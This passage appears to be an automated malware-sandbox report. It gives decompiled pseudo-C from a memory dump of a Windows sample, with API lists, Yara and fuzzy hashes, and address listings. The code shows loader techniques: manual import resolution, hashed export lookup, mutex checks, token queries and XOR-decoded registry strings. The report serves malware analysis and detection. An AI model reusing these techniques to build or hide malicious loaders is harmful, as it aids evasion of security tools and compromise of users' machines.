				 *((intOrPtr*)(_t29 + 0x1640)) = GetCurrentProcessId();
				_t17 = E0008E3F8(_t3);
				_t7 = _t29 + 0x220; // 0xf0220
				 *((intOrPtr*)(_t29 + 0x21c)) = _t17;
				_t18 = E0008E433(_t7); // executed
				 *((intOrPtr*)(_t29 + 0x218)) = _t18;
				return _t18;
			}

APIs

GetCurrentProcess.KERNEL32(?,?,000F0000,?,00083538), ref: 0008CFD2
GetModuleFileNameW.KERNEL32(00000000,000F1644,00000105,?,?,000F0000,?,00083538), ref: 0008CFF3
memset.MSVCRT ref: 0008D024
GetVersionExA.KERNEL32(000F0000,000F0000,?,00083538), ref: 0008D02F
GetCurrentProcessId.KERNEL32(?,00083538), ref: 0008D035

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CurrentProcess$FileModuleNameVersionmemset
String ID:
API String ID: 3581039275-0
Opcode ID: 1cd997e0c49c8d550cc113d255d71e0cd1cb7d24bfe504b15f1c23ad715fa88f
Instruction ID: cb89313106e779ecfc1c3035e56e170423fe5477c83872d01a42d9a1b9676586
Opcode Fuzzy Hash: 1cd997e0c49c8d550cc113d255d71e0cd1cb7d24bfe504b15f1c23ad715fa88f
Instruction Fuzzy Hash: C2015E70901B00ABE720BF70DC0ABDA7BE5FF85310F04082EE59687292EF746545CB54

Uniqueness

Uniqueness Score: -1.00%

Function 000924D3, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 151
libraryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E000924D3(signed int __eax, intOrPtr _a4) {
				intOrPtr* _v8;
				signed int* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				intOrPtr _v40;
				signed int _v44;
				struct HINSTANCE__* _v48;
				intOrPtr _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _t109;
				signed int _t112;
				signed int _t115;
				struct HINSTANCE__* _t121;
				void* _t163;

				_v44 = _v44 & 0x00000000;
				if(_a4 != 0) {
					_v48 = GetModuleHandleA("kernel32.dll");
					_v40 = E0008E0DB(_v48, "GetProcAddress");
					_v52 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
					_v32 = _v52;
					_t109 = 8;
					if( *((intOrPtr*)(_v32 + (_t109 << 0) + 0x78)) == 0) {
						L24:
						return 0;
					}
					_v56 = 0x80000000;
					_t112 = 8;
					_v8 = _a4 +  *((intOrPtr*)(_v32 + (_t112 << 0) + 0x78));
					while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_v8 = _v8 + 0x14;
					}
					_t115 = 8;
					_v8 = _a4 +  *((intOrPtr*)(_v32 + (_t115 << 0) + 0x78));
					while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_t121 = LoadLibraryA( *((intOrPtr*)(_v8 + 0xc)) + _a4); // executed
						_v36 = _t121;
						if(_v36 != 0) {
							if( *_v8 == 0) {
								_v12 =  *((intOrPtr*)(_v8 + 0x10)) + _a4;
							} else {
								_v12 =  *_v8 + _a4;
							}
							_v28 = _v28 & 0x00000000;
							while( *_v12 != 0) {
								_v24 = _v24 & 0x00000000;
								_v16 = _v16 & 0x00000000;
								_v64 = _v64 & 0x00000000;
								_v20 = _v20 & 0x00000000;
								if(( *_v12 & _v56) == 0) {
									_v60 =  *_v12 + _a4;
									_v20 = _v60 + 2;
									_v24 =  *( *((intOrPtr*)(_v8 + 0x10)) + _a4 + _v28);
									_v16 = _v40(_v36, _v20);
								} else {
									_v24 =  *_v12;
									_v20 = _v24 & 0x0000ffff;
									_v16 = _v40(_v36, _v20);
								}
								if(_v24 != _v16) {
									_v44 = _v44 + 1;
									if( *((intOrPtr*)(_v8 + 0x10)) == 0) {
										 *_v12 = _v16;
									} else {
										 *( *((intOrPtr*)(_v8 + 0x10)) + _a4 + _v28) = _v16;
									}
								}
								_v12 =  &(_v12[1]);
								_v28 = _v28 + 4;
							}
							_v8 = _v8 + 0x14;
							continue;
						}
						_t163 = 0xfffffffd;
						return _t163;
					}
					goto L24;
				}
				return __eax | 0xffffffff;
			}

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 000924F0
LoadLibraryA.KERNEL32(00000000), ref: 00092589

Strings

kernel32.dll, xrefs: 000924EB
GetProcAddress, xrefs: 000924F9

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID: GetProcAddress$kernel32.dll
API String ID: 4133054770-1584408056
Opcode ID: 2352adce6c389be8d2c2806daa3e9ea874876bb92571272c60ceabb1c7462c04
Instruction ID: 88f258000fc7a8f5536618daea2d87f2d1ab54c546ac18223be640e1c38ae54b
Opcode Fuzzy Hash: 2352adce6c389be8d2c2806daa3e9ea874876bb92571272c60ceabb1c7462c04
Instruction Fuzzy Hash: EE617C75900209EFDF50CF98C885BADBBF1BF08315F258599E815AB3A1D774AA80EF50

Uniqueness

Uniqueness Score: -1.00%

Function 0008DFEF, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0008DFEF(void* __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v92;
				intOrPtr _t41;
				signed int _t47;
				signed int _t49;
				signed int _t51;
				void* _t56;
				struct HINSTANCE__* _t58;
				_Unknown_base(*)()* _t59;
				intOrPtr _t60;
				void* _t62;
				intOrPtr _t63;
				void* _t69;
				char _t70;
				void* _t75;
				CHAR* _t80;
				void* _t82;

				_t75 = __ecx;
				_v12 = __edx;
				_t60 =  *((intOrPtr*)(__ecx + 0x3c));
				_t41 =  *((intOrPtr*)(_t60 + __ecx + 0x78));
				if(_t41 == 0) {
					L4:
					return 0;
				}
				_t62 = _t41 + __ecx;
				_v24 =  *((intOrPtr*)(_t62 + 0x24)) + __ecx;
				_t73 =  *((intOrPtr*)(_t62 + 0x20)) + __ecx;
				_t63 =  *((intOrPtr*)(_t62 + 0x18));
				_v28 =  *((intOrPtr*)(_t62 + 0x1c)) + __ecx;
				_t47 = 0;
				_v20 =  *((intOrPtr*)(_t62 + 0x20)) + __ecx;
				_v8 = 0;
				_v16 = _t63;
				if(_t63 == 0) {
					goto L4;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t49 = E0008D442( *((intOrPtr*)(_t73 + _t47 * 4)) + _t75, E0008C3BB( *((intOrPtr*)(_t73 + _t47 * 4)) + _t75), 0);
					_t51 = _v8;
					if((_t49 ^ 0x218fe95b) == _v12) {
						break;
					}
					_t73 = _v20;
					_t47 = _t51 + 1;
					_v8 = _t47;
					if(_t47 < _v16) {
						continue;
					}
					goto L4;
				}
				_t69 =  *((intOrPtr*)(_t60 + _t75 + 0x78)) + _t75;
				_t80 =  *((intOrPtr*)(_v28 + ( *(_v24 + _t51 * 2) & 0x0000ffff) * 4)) + _t75;
				if(_t80 < _t69 || _t80 >=  *((intOrPtr*)(_t60 + _t75 + 0x7c)) + _t69) {
					return _t80;
				} else {
					_t56 = 0;
					while(1) {
						_t70 = _t80[_t56];
						if(_t70 == 0x2e || _t70 == 0) {
							break;
						}
						 *((char*)(_t82 + _t56 - 0x58)) = _t70;
						_t56 = _t56 + 1;
						if(_t56 < 0x40) {
							continue;
						}
						break;
					}
					 *((intOrPtr*)(_t82 + _t56 - 0x58)) = 0x6c6c642e;
					 *((char*)(_t82 + _t56 - 0x54)) = 0;
					if( *((char*)(_t56 + _t80)) != 0) {
						_t80 =  &(( &(_t80[1]))[_t56]);
					}
					_t40 =  &_v92; // 0x6c6c642e
					_t58 = LoadLibraryA(_t40); // executed
					if(_t58 == 0) {
						goto L4;
					}
					_t59 = GetProcAddress(_t58, _t80);
					if(_t59 == 0) {
						goto L4;
					}
					return _t59;
				}
			}

APIs

LoadLibraryA.KERNEL32(.dll), ref: 0008E0BF
GetProcAddress.KERNEL32(00000000,8DF08B59), ref: 0008E0CB

Strings

.dll, xrefs: 0008E0BB, 0008E0BE

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll
API String ID: 2574300362-2738580789
Opcode ID: e6885038d973816d330ec086b720f4238475c46e79c454843e01917cf18b7a3a
Instruction ID: 9dcfbf0a2986d51c60a3d148e279124a35a2d10368e005c51dd708cc5af47f57
Opcode Fuzzy Hash: e6885038d973816d330ec086b720f4238475c46e79c454843e01917cf18b7a3a
Instruction Fuzzy Hash: 6531C431A002999BDB64EFADC884BAEBBF5BF44304F284869D885D7351DB70DD91CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0008B9DA, Relevance: 4.6, APIs: 3, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0008B9DA(union _TOKEN_INFORMATION_CLASS __edx, DWORD* _a4) {
				long _v8;
				void* _v12;
				void* _t12;
				void* _t20;
				void* _t22;
				union _TOKEN_INFORMATION_CLASS _t28;
				void* _t31;

				_push(_t22);
				_push(_t22);
				_t31 = 0;
				_t28 = __edx;
				_t20 = _t22;
				if(GetTokenInformation(_t20, __edx, 0, 0,  &_v8) != 0 || GetLastError() != 0x7a) {
					L6:
					_t12 = _t31;
				} else {
					_t31 = E000885E5(_v8);
					_v12 = _t31;
					if(_t31 != 0) {
						if(GetTokenInformation(_t20, _t28, _t31, _v8, _a4) != 0) {
							goto L6;
						} else {
							E000885FB( &_v12, _t16);
							goto L3;
						}
					} else {
						L3:
						_t12 = 0;
					}
				}
				return _t12;
			}

APIs

GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,74EC17D9,00000000,6C4D0000,00000000,00000000,?,0008BA79,?,00000000,?,0008D0EA), ref: 0008B9F5
GetLastError.KERNEL32(?,0008BA79,?,00000000,?,0008D0EA), ref: 0008B9FC

Part of subcall function 000885E5: RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,?,0008BA79,?,00000000,?,0008D0EA), ref: 0008BA2B

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: InformationToken$AllocateErrorHeapLast
String ID:
API String ID: 2499131667-0
Opcode ID: 5ea02bd1c5f1879100322e2b65a2345614f78094ee1f2dd403ebc5839da27f80
Instruction ID: a9c503e0cae64907a1e68cf525398fbd1616b747265e97284885fd2e8896bcd7
Opcode Fuzzy Hash: 5ea02bd1c5f1879100322e2b65a2345614f78094ee1f2dd403ebc5839da27f80
Instruction Fuzzy Hash: F801A272600114BF9B74ABA9DC89D9F7FECFB457A0B104126F546E3121EB70DD0097A1

Uniqueness

Uniqueness Score: -1.00%

Function 000858FF, Relevance: 4.5, APIs: 3, Instructions: 44
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000858FF(CHAR* __ecx, void* __edx, intOrPtr* _a4) {
				intOrPtr _t10;
				void* _t13;
				void* _t19;
				signed int _t21;
				signed int _t22;

				_t13 = __edx;
				if(__ecx != 0) {
					_t22 = 0;
					_t19 = CreateMutexA(0, 1, __ecx);
					if(_t19 != 0) {
						if(GetLastError() != 0xb7 || E0008A501(_t19, _t13) != 0xffffffff) {
							_t22 = 1;
							 *_a4 = _t19;
						} else {
							_t10 =  *0x9e684; // 0xa7f8f0
							 *((intOrPtr*)(_t10 + 0x30))(_t19);
						}
					} else {
						GetLastError();
						_t22 = 0xffffffff;
					}
				} else {
					_t22 = _t21 | 0xffffffff;
				}
				return _t22;
			}

APIs

CreateMutexA.KERNELBASE(00000000,00000001,00000000,00000000,00000000,?,?,000859C0,00085DB5,Global,0009BA14,?,00000000,?,00000002), ref: 0008591B
GetLastError.KERNEL32(?,?,000859C0,00085DB5,Global,0009BA14,?,00000000,?,00000002), ref: 00085927

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: de41b6c47ff43edfa5dbd0fb032d9d2ac535e5278922e25b23daeca3c6072156
Instruction ID: dfab0cbb1b8af053e8f6c9948d1446adefb4b73870bd4f76d174ff05d0e95ba8
Opcode Fuzzy Hash: de41b6c47ff43edfa5dbd0fb032d9d2ac535e5278922e25b23daeca3c6072156
Instruction Fuzzy Hash: 42F0FC31700814DBDA216769DC8497E76D8FBE6772B620366F9E9D72D0DB348C0443A2

Uniqueness

Uniqueness Score: -1.00%

Function 00089B24, Relevance: 3.3, APIs: 2, Instructions: 254
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00089B24(char __ecx, int __edx, void* __fp0, int* _a4, int* _a8, int* _a12) {
				void* _v8;
				int _v12;
				int _v16;
				void* _v20;
				int _v24;
				void* _v28;
				char _v32;
				char _v36;
				int* _v40;
				int** _v44;
				void _v108;
				int* _t90;
				int _t91;
				char* _t92;
				long _t96;
				int* _t97;
				intOrPtr _t98;
				int* _t101;
				intOrPtr _t110;
				int* _t111;
				int* _t112;
				intOrPtr _t122;
				char* _t125;
				intOrPtr _t126;
				intOrPtr _t128;
				int* _t129;
				intOrPtr _t131;
				int* _t133;
				intOrPtr _t134;
				int* _t135;
				intOrPtr _t136;
				char* _t139;
				int _t143;
				int _t147;
				intOrPtr _t148;
				int* _t149;
				int* _t154;
				int** _t155;
				int* _t161;
				int* _t163;
				intOrPtr _t164;
				intOrPtr _t171;
				int _t176;
				char* _t177;
				char* _t178;
				char _t179;
				void* _t180;
				void* _t181;
				void* _t183;

				_t176 = 0;
				_v24 = __edx;
				_t177 = 0;
				_v32 = __ecx;
				_v28 = 0;
				_v8 = 0x80000001;
				_v20 = 0;
				_t155 = E000885E5(0x110);
				_v44 = _t155;
				if(_t155 != 0) {
					_t158 = _a4;
					_t155[0x42] = _a4;
					E0008B638(_a4, __edx, __eflags, __fp0, _t158,  &_v108);
					_t161 = _v108;
					__eflags = _t161 - 0x61 - 0x19;
					_t90 = _t161;
					if(_t161 - 0x61 <= 0x19) {
						_t90 = _t90 - 0x20;
						__eflags = _t90;
					}
					_v108 = _t90;
					_t91 = E000895A8(0x4d2);
					_t163 = _v24;
					_v16 = _t91;
					__eflags = _t163;
					if(_t163 == 0) {
						L16:
						_t164 =  *0x9e688; // 0xf0000
						__eflags =  *((intOrPtr*)(_t164 + 0x214)) - 3;
						if( *((intOrPtr*)(_t164 + 0x214)) != 3) {
							_push(_t176);
							_push( &_v108);
							_push("\\");
							_t92 = E00089273(_t91);
							_t181 = _t181 + 0x10;
							L20:
							_t177 = _t92;
							_v20 = _t177;
							goto L21;
						}
						_v24 = _t176;
						_v8 = 0x80000003;
						_t122 =  *0x9e68c; // 0xa7fab8
						 *((intOrPtr*)(_t122 + 0x20))( *((intOrPtr*)( *((intOrPtr*)(_t164 + 0x110)))),  &_v24);
						__eflags = _v24 - _t177;
						if(_v24 == _t177) {
							goto L21;
						}
						_push(_t176);
						_push( &_v108);
						_t125 = "\\";
						_push(_t125);
						_push(_v16);
						_push(_t125);
						_t92 = E00089273(_v24);
						_t181 = _t181 + 0x18;
						goto L20;
					} else {
						_t126 =  *0x9e688; // 0xf0000
						_t128 =  *0x9e68c; // 0xa7fab8
						_t129 =  *((intOrPtr*)(_t128 + 0x68))(_t163,  *((intOrPtr*)( *((intOrPtr*)(_t126 + 0x110)))));
						__eflags = _t129;
						if(_t129 != 0) {
							_t91 = _v16;
							goto L16;
						}
						_v12 = _t176;
						_t131 =  *0x9e68c; // 0xa7fab8
						_v8 = 0x80000003;
						 *((intOrPtr*)(_t131 + 0x20))(_v24,  &_v12);
						__eflags = _v12 - _t177;
						if(_v12 == _t177) {
							L21:
							E000885A3( &_v16);
							_t96 = RegOpenKeyExA(_v8, _t177, _t176, 0x20019,  &_v28);
							__eflags = _t96;
							if(_t96 == 0) {
								_t97 = _a8;
								__eflags = _t97;
								if(_t97 != 0) {
									 *_t97 = 1;
								}
								_push(_v28);
								L30:
								_t98 =  *0x9e68c; // 0xa7fab8
								 *((intOrPtr*)(_t98 + 0x1c))();
								_t155[0x43] = _v8;
								_t101 = E0008C3BB(_t177);
								 *_t155 = _t101;
								__eflags = _t101;
								if(_t101 == 0) {
									L32:
									E000885FB( &_v20, 0xffffffff);
									return _t155;
								} else {
									goto L31;
								}
								do {
									L31:
									 *(_t155 + _t176 + 4) =  *(_t180 + (_t176 & 0x00000003) + 8) ^ _t177[_t176];
									_t176 = _t176 + 1;
									__eflags = _t176 -  *_t155;
								} while (_t176 <  *_t155);
								goto L32;
							}
							_v16 = _t176;
							_t110 =  *0x9e68c; // 0xa7fab8
							_t111 =  *((intOrPtr*)(_t110 + 0x28))(_v8, _t177,  &_v16);
							__eflags = _t111;
							if(_t111 == 0) {
								_t112 = _a8;
								__eflags = _t112;
								if(_t112 != 0) {
									 *_t112 = _t176;
								}
								_push(_v16);
								goto L30;
							}
							L23:
							E000885FB( &_v44, 0x110);
							memset( &_v108, _t176, 0x40);
							E000885FB( &_v20, 0xffffffff);
							goto L1;
						}
						_push(_t176);
						_push(_v16);
						_t178 = "\\";
						_push(_t178);
						_t133 = E00089273(_v12);
						_t181 = _t181 + 0x10;
						_v40 = _t133;
						__eflags = _t133;
						if(_t133 == 0) {
							goto L23;
						}
						_t134 =  *0x9e68c; // 0xa7fab8
						_t135 =  *((intOrPtr*)(_t134 + 0x14))(_v8, _t133, _t176, 0x20019,  &_v36);
						__eflags = _t135;
						if(_t135 == 0) {
							_t136 =  *0x9e68c; // 0xa7fab8
							 *((intOrPtr*)(_t136 + 0x1c))(_v36);
						} else {
							_t143 = E000895C2( &_v36, 0x34);
							_v24 = _t143;
							_t179 = E000892C6(_v32);
							_v32 = _t179;
							E000885B6( &_v24);
							_t183 = _t181 + 0x18;
							_t147 = E00089237(_v12);
							_v24 = _t147;
							_t148 =  *0x9e68c; // 0xa7fab8
							_t149 =  *((intOrPtr*)(_t148 + 0x30))(_v8, _t147, _t179, "\\", _t143, _t176);
							__eflags = _t149;
							if(_t149 == 0) {
								_t154 = _a12;
								__eflags = _t154;
								if(_t154 != 0) {
									 *_t154 = 1;
								}
							}
							E000885FB( &_v32, 0xfffffffe);
							E000885FB( &_v24, 0xfffffffe);
							_t181 = _t183 + 0x10;
							_t178 = "\\";
						}
						_t139 = E00089273(_v12);
						_t171 =  *0x9e684; // 0xa7f8f0
						_t181 = _t181 + 0x18;
						_t177 = _t139;
						_v20 = _t177;
						 *((intOrPtr*)(_t171 + 0x34))(_v12, _t178, _v16, _t178,  &_v108, _t176);
						E000885FB( &_v40, 0xffffffff);
						goto L21;
					}
				}
				L1:
				return 0;
			}

0x00089b2d
0x00089b2f
0x00089b32
0x00089b34
0x00089b3c
0x00089b3f
0x00089b46
0x00089b4e
0x00089b50
0x00089b56
0x00089b5f
0x00089b67
0x00089b6d
0x00089b74
0x00089b7a
0x00089b7c
0x00089b7f
0x00089b81
0x00089b81
0x00089b81
0x00089b89
0x00089b8c
0x00089b91
0x00089b94
0x00089b97
0x00089b99
0x00089ccf
0x00089ccf
0x00089cd5
0x00089cdc
0x00089d1d
0x00089d21
0x00089d22
0x00089d28
0x00089d2d
0x00089d30
0x00089d30
0x00089d32
0x00000000
0x00089d32
0x00089ce1
0x00089ceb
0x00089cf4
0x00089cf9
0x00089cfc
0x00089cff
0x00000000
0x00000000
0x00089d01
0x00089d05
0x00089d06
0x00089d0b
0x00089d0c
0x00089d0f
0x00089d13
0x00089d18
0x00000000
0x00089b9f
0x00089b9f
0x00089bac
0x00089bb2
0x00089bb5
0x00089bb7
0x00089ccc
0x00000000
0x00089ccc
0x00089bc0
0x00089bc4
0x00089bcc
0x00089bd3
0x00089bd6
0x00089bd9
0x00089d35
0x00089d38
0x00089d50
0x00089d53
0x00089d55
0x00089da9
0x00089dac
0x00089dae
0x00089db0
0x00089db0
0x00089db6
0x00089db9
0x00089db9
0x00089dbe
0x00089dc5
0x00089dcb
0x00089dd0
0x00089dd3
0x00089dd5
0x00089dec
0x00089df2
0x00000000
0x00000000
0x00000000
0x00000000
0x00089dd7
0x00089dd7
0x00089de3
0x00089de7
0x00089de8
0x00089de8
0x00000000
0x00089dd7
0x00089d5a
0x00089d5e
0x00089d67
0x00089d6a
0x00089d6c
0x00089d9b
0x00089d9e
0x00089da0
0x00089da2
0x00089da2
0x00089da4
0x00000000
0x00089da4
0x00089d6e
0x00089d77
0x00089d83
0x00089d8e
0x00000000
0x00089d93
0x00089bdf
0x00089be0
0x00089be3
0x00089be8
0x00089bec
0x00089bf1
0x00089bf4
0x00089bf7
0x00089bf9
0x00000000
0x00000000
0x00089c0a
0x00089c12
0x00089c15
0x00089c17
0x00089c8c
0x00089c94
0x00089c19
0x00089c1b
0x00089c2a
0x00089c32
0x00089c38
0x00089c3b
0x00089c43
0x00089c46
0x00089c50
0x00089c53
0x00089c58
0x00089c5b
0x00089c5d
0x00089c5f
0x00089c62
0x00089c64
0x00089c66
0x00089c66
0x00089c64
0x00089c72
0x00089c7d
0x00089c82
0x00089c85
0x00089c85
0x00089ca4
0x00089ca9
0x00089caf
0x00089cb2
0x00089cb4
0x00089cba
0x00089cc3
0x00000000
0x00089cc9
0x00089b99
0x00089b58
0x00000000

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0af1f65877b203b708dca597fa4f92e077b51b5feb942236cb5553c15adf0be6
Instruction ID: 8bf3b9a9c04f0255c4ce92e5ae0d5093bb9bbef5c2286c786750eb7d5da8a5c5
Opcode Fuzzy Hash: 0af1f65877b203b708dca597fa4f92e077b51b5feb942236cb5553c15adf0be6
Instruction Fuzzy Hash: 8B9135B1900209AFDF10EFA8DC45DEEBBB8FF09310F54416AF554AB262DB359A00DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0008A6EB, Relevance: 3.1, APIs: 2, Instructions: 90
fileCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E0008A6EB(void* __ecx, signed int _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t29;
				intOrPtr _t34;
				intOrPtr* _t39;
				void* _t47;
				intOrPtr _t55;
				intOrPtr _t58;
				char _t60;

				_push(__ecx);
				_push(__ecx);
				_t50 = _a4;
				_t60 = 0;
				_v12 = 0;
				if(_a4 != 0) {
					_t47 = E0008A67D(_t50);
					if(_t47 == 0) {
						L11:
						_t26 = 0;
						L12:
						L13:
						return _t26;
					}
					_t27 =  *0x9e684; // 0xa7f8f0
					_t58 =  *((intOrPtr*)(_t27 + 0xe8))(_t47, 0);
					if(_t58 == 0) {
						L9:
						_t29 =  *0x9e684; // 0xa7f8f0
						 *((intOrPtr*)(_t29 + 0x30))(_t47);
						if(_t60 != 0) {
							E000885FB( &_v12, 0);
						}
						goto L11;
					}
					_t4 = _t58 + 1; // 0x1
					_t34 = E000885E5(_t4); // executed
					_t60 = _t34;
					_v12 = _t60;
					if(_t60 == 0) {
						goto L9;
					}
					_a4 = _a4 & 0;
					_push(0);
					_v8 = 0;
					_push( &_a4);
					_push(_t58);
					_push(_t60);
					while(ReadFile(_t47, ??, ??, ??, ??) != 0) {
						if(_a4 == 0) {
							if(_v8 != _t58) {
								goto L9;
							}
							_t39 = _a8;
							 *((char*)(_t58 + _t60)) = 0;
							if(_t39 != 0) {
								 *_t39 = _t58;
							}
							CloseHandle(_t47);
							_t26 = _t60;
							goto L12;
						}
						_t55 = _v8 + _a4;
						_a4 = _a4 & 0x00000000;
						_push(0);
						_push( &_a4);
						_v8 = _t55;
						_push(_t58 - _t55);
						_push(_t55 + _t60);
					}
					goto L9;
				}
				_t26 = 0;
				goto L13;
			}

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000,?,0008FA98,00000000,0008F8F7,000EEFE0,0009B98C,00000000,0009B98C,00000000,00000000,00000615), ref: 0008A775
CloseHandle.KERNELBASE(00000000,?,0008FA98,00000000,0008F8F7,000EEFE0,0009B98C,00000000,0009B98C,00000000,00000000,00000615,0000034A,00000000,00A7FD30,00000400), ref: 0008A7B8

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CloseFileHandleRead
String ID:
API String ID: 2331702139-0
Opcode ID: dbef0aa803df5fe05ca6e75f936a53f82f5b8b7099b33c7e6603915c58dd9b61
Instruction ID: 25622088460c6087de3ec147c31aac90522c2eb645a19260c204c492a7e9e9de
Opcode Fuzzy Hash: dbef0aa803df5fe05ca6e75f936a53f82f5b8b7099b33c7e6603915c58dd9b61
Instruction Fuzzy Hash: 58218D76604209AFEB51EF68CC84FAA7BFCBB15740F24406BB945DB201EA74DA409B91

Uniqueness

Uniqueness Score: -1.00%

Function 00085CCD, Relevance: 3.0, APIs: 2, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00085CCD() {
				void _v44;
				signed int _t8;
				intOrPtr _t14;
				intOrPtr _t15;
				void* _t22;
				void* _t33;

				_t8 =  *0x9e688; // 0xf0000
				E000924D3(_t8,  *((intOrPtr*)(_t8 + 0x224))); // executed
				E000885D0();
				E00088F59();
				 *0x9e780 = 0;
				 *0x9e784 = 0;
				 *0x9e77c = 0;
				E00085E97(); // executed
				E0008CFC6(_t22);
				_t14 =  *0x9e688; // 0xf0000
				 *((intOrPtr*)(_t14 + 0xa4)) = 2;
				_t15 =  *0x9e688; // 0xf0000
				E0008A8AF( &_v44,  *((intOrPtr*)(_t15 + 0xac)) + 7,  *((intOrPtr*)(_t15 + 0xac)) + 7);
				E0008B379( &_v44);
				memset( &_v44, 0, 0x27);
				E00085C07( &_v44, _t33);
				ExitProcess(0);
			}

0x00085cd0
0x00085cdf
0x00085ce4
0x00085ce9
0x00085cf0
0x00085cf6
0x00085cfc
0x00085d02
0x00085d07
0x00085d0c
0x00085d14
0x00085d1e
0x00085d2c
0x00085d34
0x00085d40
0x00085d48
0x00085d53

APIs

Part of subcall function 000885D0: HeapCreate.KERNELBASE(00000000,00080000,00000000,00085F88), ref: 000885D9

Part of subcall function 0008CFC6: GetCurrentProcess.KERNEL32(?,?,000F0000,?,00083538), ref: 0008CFD2
Part of subcall function 0008CFC6: GetModuleFileNameW.KERNEL32(00000000,000F1644,00000105,?,?,000F0000,?,00083538), ref: 0008CFF3
Part of subcall function 0008CFC6: memset.MSVCRT ref: 0008D024
Part of subcall function 0008CFC6: GetVersionExA.KERNEL32(000F0000,000F0000,?,00083538), ref: 0008D02F
Part of subcall function 0008CFC6: GetCurrentProcessId.KERNEL32(?,00083538), ref: 0008D035

Part of subcall function 0008B379: CloseHandle.KERNELBASE(00000000,?,00000000,00083C7D,?,?,?,?,?,?,?,?,00083D62,00000000), ref: 0008B3AC

memset.MSVCRT ref: 00085D40
ExitProcess.KERNELBASE(00000000,?,?,?), ref: 00085D53

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: Process$Currentmemset$CloseCreateExitFileHandleHeapModuleNameVersion
String ID:
API String ID: 1180775259-0
Opcode ID: fbea1c1dade82dcc2072efb1179648e2793e459e0306b78ed2a1691ba09f4827
Instruction ID: ac0ebb019f512fd2989d579be88d9acf46ffeb81fe06b290a6fd1fc1be1cf91d
Opcode Fuzzy Hash: fbea1c1dade82dcc2072efb1179648e2793e459e0306b78ed2a1691ba09f4827
Instruction Fuzzy Hash: 34011D71501254AFF600FBA8DC4AEC97BE4FF28350F454066F444A7263EB7469458FA2

Uniqueness

Uniqueness Score: -1.00%

Function 0008E1FE, Relevance: 3.0, APIs: 2, Instructions: 35
libraryCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0008E1FE(void* __ecx, void* __edx, intOrPtr _a4) {
				char _v8;
				char _t5;
				struct HINSTANCE__* _t7;
				void* _t10;
				void* _t12;
				void* _t22;
				void* _t25;

				_push(__ecx);
				_t12 = __ecx;
				_t22 = __edx;
				_t5 = E000895A8(_a4);
				_t25 = 0;
				_v8 = _t5;
				_push(_t5);
				if(_a4 != 0x7c3) {
					_t7 = LoadLibraryA(); // executed
				} else {
					_t7 = GetModuleHandleA();
				}
				if(_t7 != 0) {
					_t10 = E0008E1B3(_t12, _t22, _t7); // executed
					_t25 = _t10;
				}
				E000885A3( &_v8);
				return _t25;
			}

0x0008e201
0x0008e204
0x0008e20a
0x0008e20c
0x0008e211
0x0008e213
0x0008e21d
0x0008e21e
0x0008e22d
0x0008e220
0x0008e220
0x0008e220
0x0008e231
0x0008e238
0x0008e23e
0x0008e23e
0x0008e243
0x0008e24e

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000001,?,0009BA20), ref: 0008E220
LoadLibraryA.KERNEL32(00000000,00000000,00000001,?,0009BA20), ref: 0008E22D

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID:
API String ID: 4133054770-0
Opcode ID: 34ee8c9432c501ef63b31a96de4864626031fe048823fd25d1229eb6e9450f54
